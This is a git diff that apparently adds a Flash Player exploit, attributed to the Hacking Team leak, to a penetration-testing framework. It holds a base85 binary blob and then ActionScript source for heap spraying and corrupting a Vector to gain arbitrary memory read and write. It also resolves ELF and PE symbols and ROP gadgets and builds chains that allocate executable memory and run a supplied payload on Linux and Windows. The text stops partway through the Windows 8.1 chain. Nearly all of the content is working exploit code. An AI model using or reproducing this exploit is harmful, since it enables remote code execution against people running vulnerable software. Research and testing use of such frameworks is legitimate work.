zgWy@ho<;CO0zX9X9D(N${0PJ{TAoMnW01yZ`3Zs-sKNyVKPB)p1jh>m#|r>25;l+6
z_6UOQ5dg<VaNJ`N97ou32;NKJy$Fscumi#S2%Lc6#E3OyG^7CDPuTkrd>~>4M$1VE
zK1kRH5qyZcn2g{Q0;eK4jVeq>u#><U2+kyMCW5mFoQ2?QqB{q{xrCjE;QWYXj+P4$
zTu9i3M15fd=IP-`QQ(URy9ldw5q2?xOCna)Xt@-@WrSUZ;3E-BjFyigxSX&n5L`(V
zRw39;;A#ZdP=&P!t|M?Am94|>*O#QaAz}^kNj?^_3?JMWv99vLO%dyAAKV<VqCU8#
z#L3nYxQ*y;LvVX(gpZdh?1)(L(eeodpNv?c(Q+q(yCOw}*iGPDr0s8^M(-iSUaYo{
z!2JjwAn*W!PZ4+!!9ykaJzWByDS?Me;Dl12M@rz)5_l|9G=$?NFiYSbHcB1!Bl}*S
z9M7c#gQls2xduPtf-=Zl1pLSe#Gy)&^~xT^VSBP**^3a`D-Ds%l?;^xBl{xYdC*wN
zOy#p!1+A2nk<^E@j?7g)hgnn;GFkaNLN8!)5)+&W`64Db!SW@9(4I+~$g1San4n>k
z(voq&d|94_lWogaBG3X&n^co@PQFTmiGc4z%^+)+uOsdaOn!^Wn-Oq@Xewkn@-0l>
z#st+~{w@MO@*T{gK9Nq-)Pi1v-+UJ#bQbbGgno}z(2bD3z$8KP2ZY|o<O3Rh1UxNj
zG&vS|8YP5&MV_GnVuHSfyo&q~p>vo_kAPc7pF&nIKf>fZCg@z`$C!MA2|5_EE3yx=
z4DvMc0#5v=Sa66~!vy_~yod=p81g+bkJ-7zMwR6$sT^Acf<+yb;}CZ*CgU;bz~nwm
z(17HGDo7?`_I^wrz+_SttR1M-@<Gf#gvn$~reHD^lWCYtud=QkHBq(4^JE8yRRb0a
zSZZMGb+~v8m7P_Pz&s2c6$I<W(qUK{1pC_%0fz~!gE|a??2IZov&x$cb(A(rw>$93
zN|pk)TeBlm9o)(MLA1yEa`76xo>UuiE+Oz%(#NF6@)nlX6HJAY#QOqYlsGEByRQcd
z<9!OfZbf~!qPj~R-Uik0Ep(U~$Gx7~^jy5#3lP$JygTNzQR=dz0S{nrlDIj{RYtET
z=y*zIN49+6A5YcR*{4{`DL*%;&K}Zo+RqHGv-7w|?okWx_n*b)nhDL%i1=Ms+552g
zx&98eo~K~`#}JkmMhW2sUg#QowU$ZTaVa94#8tfNz<9nB!X_Q#jy-)?o-3BWo6qOm
z0RlJ8IlP@eE3`%$+6(xNzW!5+iRmyDH>HlGXH+O02SWW=0^4~ZFl{;S@v6}aoLoAX
z8jES>L+=#*L$NoAr>M2B<@0H%R|VU=oQvD+4myH8scJBZzsZio*JMV0qcOZO`YY(5
zS3V?M|Mk&dz+h)rx&G^;Z$fU4pVR1N(p*0mpqEMW{G48VnG~cq5<#Y2voxO%cIETs
z{{c!-UQ~4$_rLj<k45>?IYJ+Z$lvF?mIC8S1vbV8gFgA033T;HHKX|9N8$Pse-6fQ
zTAt@}epNcyB^Ok6$;qPWd9L9@B9ssQ9#RjACs%s{W(=h9lB#*982C8K<H70Zvs4Is
z@R&L0banLMg^OEz3Z@VmybRGsKyUNjNQFTC=_#ZO+jFlqhP!=E*(6<$Or?YPqaOIa
zZVJcS`zc(*Ks=YGpAzyXtT&%eg)-+vJeT-L;F-@Wpr!%+MgKvTF}zI-?;GBx4{r<B
z`%mdz@1TOgG!G;JQ8##Uk)-!%s8T#SmENduj|C)?)~mmXPYJCNHNZtZaCrk|lQnd&
zI12)z7$N@FE7wu!>)QlQF8l!=(jxXP4Blhc<As&8*4Ngwu@?XDjOoy?fKhr&6UJa4
z@HIX<Z2)dBPxCaZwLOu(T4~;|6;Gef`!;-aojn%q@pZNEea<Ph@PW=|BYxKqyB2V#
z`!nG)bW9ErOUqQAn93ot{Fvg+vzOsNA^e9#Bo037h><zYtML}>h|x0HXqs#&t;e~C
zhKlDZnf|Ek4cU3RM8((3{@wEw!>jZ$UAa%AEB9DmynPtBTYTPu?`=XY7X*a8V5NBZ
z8O~;=7~|Sl^iGURSvouvy>)8Xg!W;m`il&@fxMM2-{%<Zk%qRQOAl=7@qtYmGKIUG
zhPKeJ3X>Dsh(|flWWLdO3kz3+B{Igsc#rrAsC6*(PZgXE>-8dJ<RpZ4??uQ(PB6-z
zV&J8fa7b}<XhIj75HUMm#OzjsBDD;2nue)Ri1l5k^;6NZ$#9!C87T1!Ws>`p?v;u!
zk(c5Oen#)Q=m=oCL62nMFAW-%666OoE|%VY&Ba%0`F`8XH`=f9+FS#5+O=Yv1=wb6
zDgQ9$$CdJ3n7^0uSNk+gpXNrxe-DPQM@uc1Vv7z9W%{7zby2vFTVP<UKHJFA%StEL
z{HUSbjxA(Y6`kBFHFP8QnLuRIXW;ce6K%nki=yeGP}(mFm{EEq=YRx&jg|;q=ru*u
z_DJg-!#f+UqG(@a+D%Nyn%y+<A-8p$nQfVAG|e;=dj@_$VPx(#Q(9)cna!*<@E7Sy
zxLG`#Szm#>mL5N@tH5=bnfsveE>@15U}h#(Ao0ap^CR?V=RSOu8p3acN<-?)ea?vF
znyTC;6jlzP`qumZlo5P6Zrxn-119o1K|@PUcsk+zkPJ+EHJu~EjN;weYSA({H8?Yq
zHw~tD64^MiH5{jTxZQ=x!<fuPRh~!+67|W^>y}jpI)?kTfEF|^;;TyNK6VD_6K}Ch
z5iE`IWItm(+0QJU>~GvB`x|!=$zoQaLnhlnynD(E<!3CLd5j3tdl~$uu7|#<tHWOm
z0f`LpS~pKJ6~BgBUIR*Cz<!BVR)RviJ@7B9)V1o{e4epiJ)&j_dP#j#eTN|B0h)~O
z;8pla<8voqx&g`TE6u_r6n5y>z9D;)T4sF%z26J!G@3d=#irw@SccO&-|$Sg9;wwA
zs1-V&QRuvYn0_guvw*<Y$QnM?sR0HWdNQ+&-Mx<6I?G@h{hY}|RCq(7a8Ic)3t4au
zq&6!^Z6<3WJ!rg1>&f8WOL+F@EOpHUV7@qAeZI&8zDKP78i;T(JzOik*&7@HYA(Il
zbLqvNE7w((KTf_xL2{QVNC}e~n#qDTZZHbZ*h;LK;Kaeai+WOG4TXG}Xm8i5udhc%
zSgk&(?(tM&iiQugMuIExgnr2ouKYfFs#bWR-EYGJgI@DO?y^VLL<B$mtVdn=LMb|#
z2hGYi-qSUIy>qge*+%P8dVoy|&`eYxHp<22^<UJcFJP3cq^z$QME3{2uJlWrnmDP!
z8*#~O8SEselW3%<B3`d$L}zNHNA|O{iXG8xt+cMs(eO#?PYUb$7Q>;L&1N1i>P6vc
zeI=&zGR(BgFf%JK(A(V7I=l_n;dvxwMlZp)p@`>G1^V)1i;<a!brw{h<|Arh1!^Ip
z9<D$wLe!!P)M7++RiKt3YOz*)YzKpH?lw?(O8^xN9rVl>H(Fba=H=+wwi?y6XMy}`
z10T+BHGEEEwIz=?tza465AG3<v7h<iVk7o9rK&|E^7)Q^$Dh*a-jp_Yy=RsfphoE;
zOxm6f_Up%@K8FszFo&fbAKfg~G#L0*ILfX5whM-^28J*kh5!|okqb|GV!)*U{}xrj
zTWJU}{Zd5drHE;lB4!p5__(oPSiraA>*}K#YUGdcCkae1uDGVoehBvVX4(6kYwPOl
z$wteRavc8T-LRIaexspvcBj!Yt-Qi8sIUpgx10oUYx$#|X&juQJ&h-)b2*vY(|NL!
zgX6S2d2$AqV-0%-PtN4B!?0)KA<YUc#6sb#z2{*Vw%!rUrbG4)*ffUiC$Nu|&_^hY
z&$}~E81zII{x+tjo2goSFt!R-icokMdA3e7wNj*3iBz{pfpuqqN@g=_8jP>RyS2g(
z{LP@DXd_eC!hd(gakPV>pVc&$;pJnQ#bqbAXYtDi1@+fxp>QZX@N&+fY^@dsrs}-U
zQ7-4IX{UkD{nimnSL06)RIqd%va}QFtk>{H_*kHvso7l4<o0ZyoWtd8ZqMP#xm?cW
z_FSHv$K`x(&*RDYTrTAHe4bpu<sxn`;K_wtF6Q<^o_v_grQCj)Cl_(~2)7sUWEYpq
zx!uK+i@99M?ZrH~gv)MjFX73hT(05vQl4DK<vMOJ<H<+3+`#Qec=Ay$H*)(?o?Oo5
zW^OO%$rW5~<@O4mT*>8jZm;CYRb1}i_9~w2=JH8yck|?GE_ZQzHBYYLau2uH@Z?%9
z_i=kIPp;$g0Jqoi<a#a-a(g{bZs781Zg1ep$GAMq?Z<d>BbP_Hy^$w3ae18En|N|F
zmkzf#^W+vTbKKs-lUup$;r7-tz1zlRAGf#h<aREf<Mwu*e4NXP+<u%VcW`-<+dFvj
z2`*pa_7gn$B$uyn`$?YM$>nR@-pP}@xO{`#yLfUpmv3@=H&5>2@@;PK;mN&RzQgUk
zJh_j{_qe@}C--yt2X61@$pc(|!0iJ(`4pF@x&0JR9^~>Yw-2K3Y{1X6LWZY1ci?vb
zk7+t+A81p{u9C(y?K1GS+D0<uS}2=U&=c*h>p@3$p^j|Q3O_J%h~KHS9zyz?E0?A%
zTJd)se51ah&fblUw`zq`!l$&t3Bw#SewSrmgHK+FG&uI;aUO3yj+75oQhvHfd9F|S
z#ya~5QhrABKV2?qZWgSF+gT)YSi_f_0}2Ab2$41eN3@_uL1)X*q7<^3qejzEy?rPh
z=N;7wKLI+gB#e3x#!zT}OzY=J<hZ7>;+K?;{k)NN?PrZ_&dyR~>OvZ{PZ(&tC&}#`
zGqTxCpJDf6>#SD%wUJ}EvN@%E7V~Z??_xez%AdgeiBi57^F12g@Oz6hb<kU?@GMs7
yE9IZZ{IjL}Nz6Z|6+Q->?~8nRoqatJGI1xbeE-*@@BYP4$0)Y}{C@yz$&;W|r8+PG

literal 0
HcmV?d00001

diff --git a/external/source/exploits/hacking_team/Elf.as b/external/source/exploits/hacking_team/Elf.as
new file mode 100755
index 0000000000..ee7283c61c
--- /dev/null
+++ b/external/source/exploits/hacking_team/Elf.as
@@ -0,0 +1,235 @@
+package
+{
+    public class Elf
+    {
+        private const PT_DYNAMIC:uint = 2
+        private const PT_LOAD:uint = 1 
+        private const PT_READ_EXEC:uint = 5
+        private const DT_SYMTAB:uint = 6
+        private const DT_STRTAB:uint = 5
+        private const DT_PLTGOT:uint = 3
+
+        private var e_ba:ExploitByteArray
+        // elf base address
+        public var base:uint = 0
+        // program header address
+        public var ph:uint = 0
+        // number of program headers
+        public var ph_size:uint = 0
+        // program header entry size
+        public var ph_esize:uint = 0
+        // DYNAMIC segment address
+        public var seg_dynamic:uint = 0
+        // DYNAMIC segment size
+        public var seg_dynamic_size:uint = 0
+        // CODE segment address
+        public var seg_exec:uint = 0
+        // CODE segment size
+        public var seg_exec_size:uint = 0
+        // .dynsyn section address
+        public var sec_dynsym:uint = 0
+        // .synstr section address
+        public var sec_dynstr:uint = 0
+        // .got.plt section address
+        public var sec_got_plt:uint = 0
+         
+        public function Elf(ba:ExploitByteArray, addr:uint) 
+        {
+            e_ba = ba
+            set_base(addr)
+            set_program_header()
+            set_program_header_size()
+            set_program_header_entry_size()
+            set_dynamic_segment()
+            set_exec_segment()
+            set_dynsym()
+            set_dynstr()
+            set_got_plt()
+        }
+
+        public function external_symbol(name:String):uint {
+            var entry:uint = 0
+            var st_name:uint = 0
+            var st_value:uint = 0
+            var st_size:uint = 0
+            var st_info:uint = 0
+            var st_other:uint = 0
+            var st_shndx:uint = 0
+            var st_string:String = ""
+            var got_plt_index:uint = 0
+
+            for(var i:uint = 0; i < 1000; i++) { // 1000 is just a limit
+                entry = sec_dynsym + 0x10 + (i * 0x10)
+                st_name = e_ba.read(entry)
+                st_value = e_ba.read(entry + 4)
+                st_info = e_ba.read(entry + 0xc, "byte")
+                st_string = e_ba.read_string(sec_dynstr + st_name)
+                if (st_string == name) {
+                    return e_ba.read(sec_got_plt + 0xc + (got_plt_index * 4))
+                }
+                if (st_info != 0x11) {
+                    got_plt_index++
+                }
+            }
+            throw new Error()  
+        }
+
+        public function symbol(name:String):uint {           
+            var entry:uint = 0
+            var st_name:uint = 0
+            var st_value:uint = 0
+            var st_size:uint = 0
+            var st_info:uint = 0
+            var st_other:uint = 0
+            var st_shndx:uint = 0
+            var st_string:String = ""
+
+            for(var i:uint = 0; i < 3000; i++) { // 3000 is just a limit
+                entry = sec_dynsym + 0x10 + (i * 0x10)
+                st_name = e_ba.read(entry)
+                st_value = e_ba.read(entry + 4)
+                st_info = e_ba.read(entry + 0xc, "byte")
+                st_string = e_ba.read_string(sec_dynstr + st_name)
+                if (st_string == name) {
+                    return base + st_value
+                }
+            }
+            throw new Error()  
+        }
+
+
+        public function gadget(gadget:String, hint:uint):uint
+        {
+            var value:uint = parseInt(gadget, 16)
+            var contents:uint = 0
+            for (var i:uint = 0; i < seg_exec_size - 4; i++) {
+                contents = e_ba.read(seg_exec + i)
+                if (hint == 0xffffffff && value == contents) {
+                    return seg_exec + i
+                } 
+                if (hint != 0xffffffff && value == (contents & hint)) { 
+                    return seg_exec + i
+                }
+            }
+            throw new Error()
+        } 
+ 
+        private function set_base(addr:uint):void
+        {
+            addr &= 0xffff0000
+            while (true) {
+                if (e_ba.read(addr) == 0x464c457f) {
+                    base = addr
+                    return
+                }
+                addr -= 0x1000
+            }
+            
+            throw new Error()
+        }  
+ 
+        private function set_program_header():void
+        {
+            ph = base + e_ba.read(base + 0x1c)
+        }
+    
+        private function set_program_header_size():void
+        {
+            ph_size = e_ba.read(base + 0x2c, "word")
+        } 
+
+        private function set_program_header_entry_size():void
+        {
+            ph_esize = e_ba.read(base + 0x2a, "word")
+        }
+    
+        private function set_dynamic_segment():void
+        {
+            var entry:uint = 0
+            var p_type:uint = 0
+
+            for (var i:uint = 0; i < ph_size; i++) {
+                entry = ph + (i * ph_esize)
+                p_type = e_ba.read(entry)
+                if (p_type == PT_DYNAMIC) {
+                    seg_dynamic = base + e_ba.read(entry + 8)
+                    seg_dynamic_size = e_ba.read(entry + 0x14)
+                    return
+                }
+            }
+
+            throw new Error()
+        }
+
+        private function set_exec_segment():void
+        {
+            var entry:uint = 0
+            var p_type:uint = 0
+            var p_flags:uint = 0
+            
+            for (var i:uint = 0; i < ph_size; i++) {
+                entry = ph + (i * ph_esize)
+                p_type = e_ba.read(entry)
+                p_flags = e_ba.read(entry + 0x18)
+                if (p_type == PT_LOAD && (p_flags & PT_READ_EXEC) == PT_READ_EXEC) {
+                    seg_exec = base + e_ba.read(entry + 8)
+                    seg_exec_size = e_ba.read(entry + 0x14)
+                    return
+                }
+            }
+            
+            throw new Error()
+        }
+ 
+        private function set_dynsym():void
+        {
+            var entry:uint = 0
+            var s_type:uint = 0
+
+            for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
+                entry = seg_dynamic + i
+                s_type = e_ba.read(entry)
+                if (s_type == DT_SYMTAB) {
+                    sec_dynsym = e_ba.read(entry + 4)
+                    return
+                }
+            }
+            
+            throw new Error()
+        }
+
+        private function set_dynstr():void
+        {
+            var entry:uint = 0
+            var s_type:uint = 0
+
+            for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
+                entry = seg_dynamic + i
+                s_type = e_ba.read(entry)
+                if (s_type == DT_STRTAB) {
+                    sec_dynstr = e_ba.read(entry + 4)
+                    return
+                }
+            }
+            
+            throw new Error()
+        }
+
+        private function set_got_plt():void
+        {
+            var entry:uint = 0
+            var s_type:uint = 0
+
+            for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
+                entry = seg_dynamic + i
+                s_type = e_ba.read(entry)
+                if (s_type == DT_PLTGOT) {
+                    sec_got_plt = e_ba.read(entry + 4)
+                    return
+                }
+            }
+            
+            throw new Error()
+        }
+    }
+}
diff --git a/external/source/exploits/hacking_team/Exploit.as b/external/source/exploits/hacking_team/Exploit.as
new file mode 100755
index 0000000000..e80733e3f0
--- /dev/null
+++ b/external/source/exploits/hacking_team/Exploit.as
@@ -0,0 +1,37 @@
+package 
+{
+	import flash.display.Sprite
+	import flash.events.Event
+	import mx.utils.Base64Decoder
+	import flash.display.LoaderInfo
+	import flash.utils.ByteArray
+	
+	public class Exploit extends Sprite 
+	{
+		private var b64:Base64Decoder = new Base64Decoder()
+        private var payload:ByteArray
+        private var platform:String
+        private var os:String
+		
+		public function Exploit():void 
+		{
+			//trace("Got to checkpoint 0");
+			if (stage) init();
+			else addEventListener(Event.ADDED_TO_STAGE, init);
+		}
+		
+		private function init(e:Event = null):void 
+		{
+			platform = LoaderInfo(this.root.loaderInfo).parameters.pl
+            os = LoaderInfo(this.root.loaderInfo).parameters.os
+            var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh
+            var pattern:RegExp = / /g;
+            b64_payload = b64_payload.replace(pattern, "+")
+            b64.decode(b64_payload)
+            payload = b64.toByteArray()
+
+			removeEventListener(Event.ADDED_TO_STAGE, init);
+			MyClass.TryExpl(this, platform, os, payload)
+		}
+	}
+}
\ No newline at end of file
diff --git a/external/source/exploits/hacking_team/ExploitByteArray.as b/external/source/exploits/hacking_team/ExploitByteArray.as
new file mode 100755
index 0000000000..a8da46df7b
--- /dev/null
+++ b/external/source/exploits/hacking_team/ExploitByteArray.as
@@ -0,0 +1,85 @@
+package
+{
+    import flash.utils.ByteArray
+    
+    public class ExploitByteArray
+    {
+        private const MAX_STRING_LENGTH:uint = 100
+        public var ba:ByteArray
+        public var original_length:uint
+        private var platform:String
+
+        public function ExploitByteArray(p:String, l:uint = 1024)
+        {
+            ba = new ByteArray()
+            ba.length = l
+            ba.endian = "littleEndian"
+            ba.writeUnsignedInt(0)
+            platform = p
+            original_length = l
+        }
+
+        public function set_length(length:uint):void
+        {
+            ba.length = length
+        }
+
+        public function get_length():uint
+        {
+            return ba.length
+        }
+
+        public function lets_ready():void
+        {
+            ba.endian = "littleEndian"
+            if (platform == "linux") {
+                ba.length = 0xffffffff
+            } 
+        }
+
+        public function is_ready():Boolean
+        {
+            if (ba.length == 0xffffffff)
+                return true
+
+            return false
+        }
+
+        public function read(addr:uint, type:String = "dword"):uint
+        {
+            ba.position = addr
+            switch(type) {
+                case "dword": 
+                    return ba.readUnsignedInt()
+                case "word":
+                    return ba.readUnsignedShort()
+                case "byte":
+                    return ba.readUnsignedByte()
+            }
+            return 0
+        }
+
+        public function read_string(addr:uint, length:uint = 0):String
+        {
+            ba.position = addr
+            if (length == 0)
+                return ba.readUTFBytes(MAX_STRING_LENGTH)
+            else
+                return ba.readUTFBytes(length) 
+        }
+
+        public function write(addr:uint, value:* = 0, zero:Boolean = true):void
+        {
+            var i:uint
+
+            if (addr) ba.position = addr
+            if (value is String) {
+                for (i = 0; i < value.length; i++) ba.writeByte(value.charCodeAt(i))
+                if (zero) ba.writeByte(0)
+            } else if (value is ByteArray) {
+                var value_length:uint = value.length
+                for (i = 0; i < value_length; i++) ba.writeByte(value.readByte())
+            } else ba.writeUnsignedInt(value)
+        }
+    }
+}
diff --git a/external/source/exploits/hacking_team/ExploitVector.as b/external/source/exploits/hacking_team/ExploitVector.as
new file mode 100755
index 0000000000..18aa4778a0
--- /dev/null
+++ b/external/source/exploits/hacking_team/ExploitVector.as
@@ -0,0 +1,75 @@
+package
+{
+    public class ExploitVector
+    {
+        private var uv:Vector.<uint>
+        public var original_length:uint 
+        
+        public function ExploitVector(v:Vector.<uint>, length:uint)
+        {
+            uv = v
+            original_length = length
+        }
+
+        public function restore():void
+        {
+            uv[0x3ffffffe] = original_length
+        }
+
+        public function is_ready():Boolean
+        {
+            if (uv.length > original_length) 
+            {
+                return true
+            }
+            return false
+        } 
+        
+        public function at(pos:uint):uint
+        {
+            return uv[pos]
+        }
+
+        // pos: position where a Vector.<Object>[0] lives
+        public function set_own_address(pos:uint):void
+        {
+            uv[0] = uv[pos - 5] - ((pos - 5) * 4) - 0xc
+        }
+
+        public function read(addr:uint):uint
+        {
+            var pos:uint = 0
+
+            if (addr > uv[0]) {
+                pos = ((addr - uv[0]) / 4) - 2
+            } else {
+                pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1
+            }
+
+            return uv[pos]
+        }
+
+        public function write(addr:uint, value:uint = 0):void
+        {           
+            var pos:uint = 0
+
+            if (addr > uv[0]) {
+                pos = ((addr - uv[0]) / 4) - 2
+            } else {
+                pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1
+            }
+
+            uv[pos] = value
+        }
+
+        public function search_pattern(pattern:uint, limit:uint):uint
+        {
+            for (var i:uint = 0; i < limit/4; i++) {
+                if (uv[i] == pattern) {
+                    return i
+                }
+            }
+            throw new Error() 
+        }
+    }
+}
diff --git a/external/source/exploits/hacking_team/Exploiter.as b/external/source/exploits/hacking_team/Exploiter.as
new file mode 100755
index 0000000000..ecbf56fac5
--- /dev/null
+++ b/external/source/exploits/hacking_team/Exploiter.as
@@ -0,0 +1,399 @@
+package
+{ 
+    import flash.utils.ByteArray
+    import flash.system.System
+
+    public class Exploiter
+    {
+        private const VECTOR_OBJECTS_LENGTH:uint = 1014
+        private var exploit:Exploit
+        private var ev:ExploitVector
+        private var eba:ExploitByteArray
+        private var payload:ByteArray
+        private var platform:String
+        private var op_system:String
+        private var pos:uint
+        private var byte_array_object:uint
+        private var main:uint
+        private var stack_object:uint
+        private var payload_space_object:uint
+        private var buffer_object:uint
+        private var buffer:uint
+        private var vtable:uint
+        private var stack_address:uint
+        private var payload_address:uint 
+        private var stack:Vector.<uint> = new Vector.<uint>(0x6400)
+        private var payload_space:Vector.<uint> = new Vector.<uint>(0x6400) 
+        private var spray:Vector.<Object> = new Vector.<Object>(90000)
+
+        public function Exploiter(exp:Exploit, pl:String, os:String, p:ByteArray, uv:Vector.<uint>, uv_length:uint):void
+        {
+            exploit = exp
+            payload = p
+            platform = pl
+            op_system = os
+
+            ev = new ExploitVector(uv, uv_length)
+            if (!ev.is_ready()) return
+            eba = new ExploitByteArray(platform)
+            spray_objects()
+            try { pos = search_objects() } catch (err:Error) { ev.restore(); cleanup(); return; }
+            ev.set_own_address(pos)
+            if (!disclose_objects()) { ev.restore(); cleanup(); return; }
+            disclose_addresses()
+            corrupt_byte_array()
+            if (!eba.is_ready()) { ev.restore(); cleanup(); return }
+            do_rop()
+            restore_byte_array()
+            ev.restore()
+            cleanup()
+        }
+
+        private function spray_objects():void
+        {
+            Logger.log("[*] Exploiter - spray_objects()")
+            for (var i:uint = 0; i < spray.length; i++) 
+            {
+                spray[i] = new Vector.<Object>(VECTOR_OBJECTS_LENGTH)
+                spray[i][0] = eba.ba
+                spray[i][1] = exploit 
+                spray[i][2] = stack
+                spray[i][3] = payload_space
+            } 
+        }
+        
+        private function search_objects():uint
+        {
+            Logger.log("[*] Exploiter - search_objects()")
+            var idx:uint = ev.search_pattern(VECTOR_OBJECTS_LENGTH, 0xac100)
+            return idx + 1
+        }
+
+        private function disclose_objects():Boolean
+        { 
+            Logger.log("[*] Exploiter - disclose_objects()")
+            byte_array_object = ev.at(pos) - 1
+            main = ev.at(pos + 1) - 1
+            stack_object = ev.at(pos + 2) - 1
+            payload_space_object = ev.at(pos + 3) - 1
+            if (byte_array_object < 0x1000 || main < 0x1000 || stack_object < 0x1000 || payload_space_object < 0x1000) {
+                return false
+            }
+            return true
+        }
+
+        private function disclose_addresses():void
+        {
+            Logger.log("[*] Exploiter - disclose_addresses()")
+            if (platform == "linux") 
+            {
+                buffer_object = ev.read(byte_array_object + 0x10)
+                buffer = ev.read(buffer_object + 0x1c)
+            }    
+            else if (platform == "win") 
+            {
+                buffer_object = ev.read(byte_array_object + 0x40)
+                buffer = ev.read(buffer_object + 8)
+            }
+            vtable = ev.read(main)
+            stack_address = ev.read(stack_object + 0x18)
+            payload_address = ev.read(payload_space_object + 0x18)
+        }
+        
+        private function corrupt_byte_array():void
+        {
+            Logger.log("[*] Exploiter - corrupt_byte_array(): " + platform)
+            if (platform == "linux")
+            {
+                ev.write(buffer_object + 0x1c) // *array
+                ev.write(buffer_object + 0x20, 0xffffffff) // capacity
+            } 
+            else if (platform == "win")
+            {
+                ev.write(buffer_object + 8) // *array
+                ev.write(buffer_object + 16, 0xffffffff) // capacity
+            }
+            eba.lets_ready()
+        }
+
+        private function restore_byte_array():void
+        { 
+            Logger.log("[*] Exploiter - restore_byte_array(): " + platform)
+            if (platform == "linux")
+            {
+                ev.write(buffer_object + 0x1c, buffer) // *array
+                ev.write(buffer_object + 0x20, 1024) // capacity
+            } 
+            else if (platform == "win")
+            {
+                ev.write(buffer_object + 8, buffer) // *array
+                ev.write(buffer_object + 16, 1024) // capacity
+            }
+            eba.set_length(eba.original_length) 
+        }
+        
+        private function do_rop():void
+        {
+            Logger.log("[*] Exploiter - do_rop()")
+            if (platform == "linux") {
+                do_rop_linux()
+            } else if (platform == "win") {
+                if (op_system == "Windows 8.1") {
+                    do_rop_windows8()
+                } else if (op_system == "Windows 7") {
+                    do_rop_windows()
+                } else {
+                    return
+                }
+            } else {
+                return
+            }
+        }
+
+        private function do_rop_windows():void
+        {
+            Logger.log("[*] Exploiter - do_rop_windows()")
+            var pe:PE = new PE(eba)
+            var flash:uint = pe.base(vtable)
+            var winmm:uint = pe.module("winmm.dll", flash)
+            var kernel32:uint = pe.module("kernel32.dll", winmm)            
+            var ntdll:uint = pe.module("ntdll.dll", kernel32)
+            var virtualprotect:uint = pe.procedure("VirtualProtect", kernel32)
+            var virtualalloc:uint = pe.procedure("VirtualAlloc", kernel32)
+            var createthread:uint = pe.procedure("CreateThread", kernel32)
+            var memcpy:uint = pe.procedure("memcpy", ntdll)
+            var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash)
+            var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash)
+            var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll)
+            
+            // Continuation of execution
+            eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable
+            eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main
+            eba.write(0, "\x89\x03", false) // mov [ebx], eax
+            eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
+
+            // Put the payload (command) in memory
+            eba.write(payload_address + 8, payload, true); // payload
+
+            // Put the fake vtabe / stack on memory
+            eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability...
+            eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call    dword ptr [eax+0A4h]
+            eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot
+            eba.write(0, virtualprotect)
+
+            // VirtualProtect
+            eba.write(0, virtualalloc)
+            eba.write(0, buffer + 0x10)
+            eba.write(0, 0x1000)
+            eba.write(0, 0x40)
+            eba.write(0, buffer + 0x8) // Writable address (4 bytes)
+
+            // VirtualAlloc
+            eba.write(0, memcpy)
+            eba.write(0, 0x7f6e0000)
+            eba.write(0, 0x4000)
+            eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE
+            eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE
+
+            // memcpy
+            eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't
+            eba.write(0, 0x7f6e0000)
+            eba.write(0, payload_address + 8)
+            eba.write(0, payload.length) 
+
+            // CreateThread
+            eba.write(0, createthread)
+            eba.write(0, buffer + 0x10) // return to fix things
+            eba.write(0, 0)
+            eba.write(0, 0)
+            eba.write(0, 0x7f6e0000)
+            eba.write(0, 0)
+            eba.write(0, 0)
+            eba.write(0, 0)
+           
+            eba.write(main, stack_address + 0x18000) // overwrite with fake vtable
+            exploit.toString() // call method in the fake vtable
+        }
+
+        private function do_rop_windows8():void
+        {
+            Logger.log("[*] Exploiter - do_rop_windows8()")
+            var pe:PE = new PE(eba)
+            var flash:uint = pe.base(vtable)
+            var winmm:uint = pe.module("winmm.dll", flash)
+            var advapi32:uint = pe.module("advapi32.dll", flash)
+            var kernelbase:uint = pe.module("kernelbase.dll", advapi32)
+            var kernel32:uint = pe.module("kernel32.dll", winmm) 
+            var ntdll:uint = pe.module("ntdll.dll", kernel32)
+            var virtualprotect:uint = pe.procedure("VirtualProtect", kernelbase)
+            var virtualalloc:uint = pe.procedure("VirtualAlloc", kernelbase)
+            var createthread:uint = pe.procedure("CreateThread", kernelbase)
+            var memcpy:uint = pe.procedure("memcpy", ntdll)
+            var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash)
+            var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash)
+            var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll)
+            
+            // Continuation of execution
+            eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable
+            eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main
+            eba.write(0, "\x89\x03", false) // mov [ebx], eax
+            eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
+
+            // Put the payload (command) in memory
+            eba.write(payload_address + 8, payload, true); // payload
+
+            // Put the fake vtabe / stack on memory
+            eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability...
+            eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call    dword ptr [eax+0A4h]
+            eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot
+            eba.write(0, virtualprotect)
+
+            // VirtualProtect
+            eba.write(0, virtualalloc)
+            eba.write(0, buffer + 0x10)
+            eba.write(0, 0x1000)
+            eba.write(0, 0x40)
+            eba.write(0, buffer + 0x8) // Writable address (4 bytes)
+
+            // VirtualAlloc
+            eba.write(0, memcpy)
+            eba.write(0, 0x7ffd0000)
+            eba.write(0, 0x4000)
+            eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE
+            eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE
